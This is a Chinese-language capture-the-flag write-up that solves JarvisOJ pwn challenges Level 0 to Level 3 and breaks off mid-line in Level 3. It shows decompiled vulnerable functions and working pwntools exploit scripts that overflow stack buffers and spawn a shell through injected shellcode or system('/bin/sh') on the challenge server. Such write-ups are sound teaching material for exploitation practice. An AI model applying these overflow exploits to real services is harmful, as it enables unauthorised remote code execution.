JarvisOJ - Level 0
题目链接
类型:ret2text
先把文件拖进虚拟机,64位ELF文件,只开启了NX保护
用IDA反编译,main函数会调用vulnerable_function,另外程序里还有一个callsystem()
Vulnerable_function里的read()可以读取0x200个字节,但只有0x80的内存
所以打算通过read()覆盖返回地址,跳转到callsystem.查看callsystem的地址
EXP
JarvisOJ - Level 1
题目链接
类型:ret2shellcode
这次拿到的是32位
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-88h]@1
printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}
buf大小为0x88,于是想把一段shellcode写在buf上,然后使返回地址指向buf
EXP
#-*- coding: utf-8 -*-
from pwn import *
p = remote('pwn2.jarvisoj.com', 9877)
#p = process("./level1")
text = p.recvline()[14:-2]
print text[14:-2]
buf_addr = int(text, 16)
shellcode = asm(shellcraft.sh()) #生成一段shellcode并转化成字符串
payload = 'a' * (0x88+4-len(shellcode)) + shellcode + p32(buf_addr) #先填a再填shellcode
p.send(payload)
p.interactive()
成功得到flag
JarvisOJ - Level 2
题目链接
类型:ret2syscall
这次的vulnerable_function()是这样的,buf大小为0x88
在程序里找到system函数和/bin/sh
字符串,得到地址
EXP
from pwn import *
p = remote('pwn2.jarvisoj.com', 9878)
#p = process("./level2")
system_addr = 0x08048320
sh_addr = 0x0804A024
payload = 'a' * 0x88 + "bbbb" + p32(system_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.sendlineafter("Input:\n", payload)
p.interactive()
返回地址指向system,buf返回地址的上方有另一个返回地址,为system函数执行后的返回地址,任意填充,后面再放上将system需要的参数&’/bin/sh’
JarvisOJ - Level 2_x64
题目链接
类型:ret2syscall
64位ret2syscall,代码与上一题32位一样,read()允许读入的容量比buf大得多,文件里也有system和"/bin/sh"
EXP
from pwn import*
p = remote('pwn2.jarvisoj.com','9882')
#p = process("./level2_64")
#elf = ELF('./level2_x64')
pop_rdi_addr = 0x00000000004006b3 #pop rdi
#sh_addr = elf.search('/bin/sh').next()
sh_addr = 0x0000000000600A90 #'/bin/sh'
#system_addr = elf.symbols['system']
system_addr = 0x0000000000400603 #system
payload = 'a' * 0x80 + "bbbbcccc" + p64(pop_rdi_addr) + p64(sh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()
得到flag
JarvisOJ - Level 3
题目链接
类型:ret2libc
题目是32位NX保护,给了一个level3和一个libc文件。buf容量为0x88
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-88h]@1
write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u